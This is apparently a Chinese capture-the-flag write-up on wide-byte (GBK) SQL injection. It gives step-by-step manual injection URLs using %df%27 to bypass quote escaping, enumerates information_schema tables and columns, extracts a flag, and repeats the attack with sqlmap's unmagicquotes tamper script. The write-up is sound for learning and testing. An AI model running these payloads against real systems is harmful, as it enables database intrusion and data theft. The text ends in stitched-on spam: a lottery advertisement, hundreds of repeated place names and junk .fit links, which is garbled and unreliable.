(宽字节注入) 手注+sqlmap

        进入题目后先简单尝试一下。

        分享图片

         

        很明显的宽字节注入。

        宽字节注入就是用一个大于128的十六进制数来吃掉转义符\,gbk编码,字节作为一个字符的编码.

        手工注入
        1、判断列数:
        http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 1%23
        http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 2%23
        http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 order by 3%23
        order by 3 时报错,说明只有两列。

        2、各类信息:
        http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
        union select 2,(concat_ws(char(32,58,32),user(),database(),version()))%23
        [email protected] : sae-chinalover : 5.5.52-0ubuntu0.14.04.1

        3、库名:
        http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2 union select 2,database()%23
        sae-chinalover

        4、表名:
        http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
        union select 2,group_concat(table_name)
        from information_schema.tables
        where table_schema=database()%23
        ctf,ctf2,ctf3,ctf4,news

        5、ctf4表的列名:
        http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
        union select 2,group_concat(column_name)
        from information_schema.columns
        where table_name=0x63746634%23
        id,flag

        这里注意:要将表名ctf4转为16进制

        这里提供一个字符串转16进制的网站:

        http://www.5ixuexiwang.com/str/hex.php

        转了16进制之后记得在前面加上0x

        6、flag列的数据:
        http://chinalover.sinaapp.com/SQL-GBK/index.php?id=%df%27 and 1=2
        union select 2,(select flag from ctf4)%23
        flag{this_is_sqli_flag}

        sqlmap跑法
        1、查看有哪些库:
        sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes --dbs
        这个时侯就要用到一个脚本了:

        脚本名:unmagicquotes.py

        作用:宽字符绕过

        分享图片

         

         

        2、表名:

        sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` --tables

        分享图片

         

         

        3、列名:

        sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 --columns

         分享图片

         

         

        4、flag列的数据:
        sqlmap.py -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=3" --tamper unmagicquotes -D `sae-chinalover` -T ctf4 -C flag

        分享图片

        相关文章
        相关标签/搜索
        香港马会免费资枓大全香港开奖结果_香港马会2019开奖结果_2019 最快开奖记录结果_小鱼儿玄机2站开奖 开奖结果 永修县| 正安县| 确山县| 宣汉县| 德保县| 驻马店市| 定西市| 临潭县| 锡林浩特市| 突泉县| 东阿县| 宜兰市| 香格里拉县| 怀宁县| 南安市| 兴仁县| 静宁县| 灵山县| 宜阳县| 项城市| 武川县| 沙田区| 临澧县| 伊宁县| 新巴尔虎右旗| 乐安县| 仪陇县| 于田县| 改则县| 布尔津县| 夏津县| 漯河市| 方城县| 苏尼特左旗| 山阴县| 桂平市| 巴林右旗| 闵行区| 美姑县| 闻喜县| 上蔡县| 奎屯市| 苏尼特左旗| 乳山市| 元江| 苏尼特右旗| 札达县| 萨迦县| 平塘县| 黑河市| 大石桥市| 正镶白旗| 万全县| 兴城市| 满城县| 武陟县| 浦北县| 名山县| 元朗区| 柳林县| 天长市| 桐柏县| 长宁区| 雷山县| 阳谷县| 沙河市| 台前县| 儋州市| 永和县| 喀喇沁旗| 盖州市| 安阳县| 潜江市| 长岛县| 海门市| 晋州市| 陇西县| 西林县| 资源县| 偏关县| 中江县| 柳林县| 巫溪县| 论坛| 哈巴河县| 庄浪县| 呈贡县| 扶绥县| 会东县| 田东县| 南昌市| 黑山县| 航空| 灵武市| 西峡县| 鄂尔多斯市| 惠东县| 龙胜| 东乡族自治县| 康乐县| 磐安县| 潞西市| 保靖县| 措勤县| 眉山市| 永修县| 文水县| 定安县| 同德县| 丹巴县| 古田县| 营山县| 寿阳县| 繁昌县| 岳阳市| 涟源市| 天门市| 洛阳市| 济阳县| 淅川县| 凤城市| 佛坪县| 阳山县| 新乡市| 怀安县| 孟州市| 富裕县| 永嘉县| 吴川市| 元江| 平原县| 万宁市| 平安县| 甘南县| 家居| 建阳市| 疏勒县| 双流县| 洛阳市| 永安市| 和静县| 吐鲁番市| 福清市| 南木林县| 安国市| 松溪县| 基隆市| 广灵县| 建昌县| 交城县| 嘉义市| 金塔县| 洪雅县| 临洮县| 南和县| 达州市| 吉水县| 和政县| 上蔡县| 沙河市| 阳东县| 泊头市| 嵊泗县| 义马市| 高密市| 衡阳市| 新沂市| 鄯善县| 德钦县| 海阳市| 交城县| 革吉县| 天台县| 稻城县| 江都市| 韶关市| 库尔勒市| 贵溪市| 监利县| 南和县| 界首市| 扶绥县| 伊川县| 隆化县| 建水县| 丽水市| 洛川县| 绍兴市| 尖扎县| 诏安县| 舞钢市| 宾川县| 渭南市| 盖州市| 乐陵市| 五莲县| 金寨县| 瓦房店市| 贵港市| 正阳县| 宜都市| 洪洞县| 兴仁县| 阜阳市| 六枝特区| 乌鲁木齐市| 方山县| 明水县| 金堂县| 鄂温| 宜宾县| 若尔盖县| 台江县| 子洲县| 北川| 青阳县| 徐汇区| 墨玉县| 洛阳市| 高陵县| 商河县| 鹿泉市| 盐边县| 元氏县| 宁河县| 泽州县| 泽州县| 霍邱县| 阳新县| 奎屯市| 囊谦县| 绥德县| 开阳县| 喜德县| 湖南省| 乌拉特中旗| 广平县| 沧源| 建瓯市| 高台县| 浪卡子县| 临夏县| 西青区| 霍山县| 原阳县| 宾阳县| 兴宁市| 江门市| 九江市| 巴彦淖尔市| 梅河口市| 乌恰县| 留坝县| 古田县| 临夏市| 漳州市| 石屏县| 延吉市| 潮州市| 晋宁县| 清镇市| 札达县| 剑川县| 迭部县| 永平县| 蓬安县| 武隆县| 夏邑县| 饶阳县| 炉霍县| 康保县| 金川县| 贡山| 武鸣县| 石嘴山市| 吕梁市| 乌拉特前旗| 进贤县| 都昌县| 盐城市| 高淳县| 池州市| 塔河县| 安塞县| 莱芜市| 泾川县| 临泉县| 兰州市| 怀集县| 时尚| 筠连县| 资阳市| 岳阳县| 青铜峡市| 富宁县| 聂拉木县| 永城市| 安福县| 古交市| 融水| 教育| 陵水| 宁河县| 开封县| 思茅市| 长白| 林芝县| 英吉沙县| 泾川县| 蓝田县| 北碚区| 周口市| 汶川县| 德保县| 绥阳县| 盐源县| 信阳市| 磴口县| 奇台县| 建湖县| 汉源县| 固始县| 曲松县| 承德县| 建德市| 洪泽县| 五指山市| 沐川县| 汕尾市| 东台市| 平罗县| 通许县| 彭阳县| 宜章县| 家居| 明星| 河曲县| 河源市| 疏勒县| 德惠市| 太和县| 扶沟县| 福贡县| 昭通市| 岳阳市| 泉州市| 加查县| 海口市| 高平市| 莱州市| 巴彦淖尔市| 兴仁县| 景德镇市| 即墨市| 新余市| 三台县| 新宁县| 邵东县| 保山市| 静宁县| 望谟县| 岑溪市| 花垣县| 阿拉善左旗| 娱乐| 灵丘县| 贵州省| 东光县| 南康市| 任丘市| 德兴市| 灵武市| 勐海县| 佛坪县| 余庆县| 隆回县| 衡阳市| 修水县| 河曲县| 上林县| 含山县| 苏尼特右旗| 金山区| 华阴市| 会同县| 外汇| 壶关县| 清流县| 独山县| 苏尼特右旗| 翁源县| 湟源县| 长兴县| 建德市| 福鼎市| 赣榆县| 长泰县| 东海县| 滦南县| 临桂县| 怀仁县| 襄樊市| 大足县| 沧州市| 崇明县| 南澳县| 凌云县| 陆川县| 阳东县| 嘉鱼县| 闵行区| 贺兰县| 巫山县| 东阿县| 专栏| 阿鲁科尔沁旗| 施秉县| 道真| 博湖县| 金华市| 宜章县| 东乡族自治县| 福清市| 天门市| 吴旗县| 彩票| 广安市| 平昌县| 平罗县| 彭山县| 丹棱县| 临清市| 南和县| 土默特右旗| 罗平县| 门头沟区| 长葛市| 海城市| 博爱县| 石棉县| 驻马店市| 竹山县| 西峡县| 崇左市| 闸北区| 泾川县| 无棣县| 辉县市| 交口县| 巩留县| 荣昌县| 乌拉特前旗| 彰化县| 阳曲县| 新兴县| 舟曲县| 西乡县| 兴城市| 阳西县| 曲水县| 英吉沙县| 汉中市| 桂平市| 鹤壁市| 东丰县| 苗栗市| 鹤庆县| 遂平县| 晋州市| 黎川县| 迁安市| 于都县| 中宁县| 河西区| 清流县| 昌邑市| 柯坪县| 房山区| 黔南| 祁连县| 察隅县| 陇川县| 寿光市| 怀仁县| 西安市| 郸城县| 罗城| 河间市| 郯城县| 西和县| 海门市| 通城县| 合川市| 开江县| 留坝县| 台东市| 门源| 肥西县| 衢州市| 黄浦区| 河间市| 德令哈市| 元谋县| 龙南县| 五常市| 隆子县| 崇文区| 沛县| 巴东县| 塔城市| 镇安县| 丹寨县| 璧山县| 射洪县| 福安市| 长海县| 大名县| 开远市| 屯昌县| 博罗县| 大洼县| 饶平县| 同心县| 松溪县| 吉首市| 清涧县| 镇赉县| 绵阳市| 客服| 吉木乃县| 云林县| 讷河市| 吴江市| 怀远县| 调兵山市| 当涂县| 都兰县| 合江县| 南安市| 五原县| 平武县| 罗山县| 晋中市| 即墨市| 大方县| 临潭县| 林西县| 响水县| 宝应县| 鄂伦春自治旗| 乡宁县| 清水河县| 安多县| 定日县| 东阿县| 长白| 寿宁县| 曲靖市| 通化县| 勐海县| 育儿| 辛集市| 旌德县| 永丰县| 乳山市| 长泰县| 南京市| 哈巴河县| 北京市| 高雄市| 昌平区| 永宁县| 广宁县| 二手房| 邵阳市| 左贡县| 和政县| 伊春市| 连平县| 温泉县| 玛曲县| 通化县| 富锦市| 辽阳市| 黄大仙区| 白银市| 乌恰县| 红河县| 邵阳市| 东乌珠穆沁旗| 古田县| 阿克苏市| 正阳县| 安泽县| 大埔县| 峨眉山市| 大姚县| 资讯| 高尔夫| 通榆县| 潼关县| 台湾省| 城步| 广西| 兴安盟| 南皮县| 通州区| 仲巴县| 荥阳市| 迭部县| 务川| 双峰县| 弋阳县| 阿拉尔市| 兴海县| http://psvpen.fit http://wap.ntbmts.fit http://www.rweddt.fit http://wap.bm1961xotorz.fit http://www.nhzrjr.fit http://www.gfhvcv.fit http://wap.bm1961nearz.fit http://www.yaftnx.fit http://tegmlz.fit http://www.hkcvae.fit http://www.jsazvr.fit http://m.aumvxp.fit http://m.rxnlyo.fit http://wap.eoiiqb.fit http://m.lqlvxu.fit http://wap.mihitu.fit http://wap.jhndnq.fit http://wap.wigjyo.fit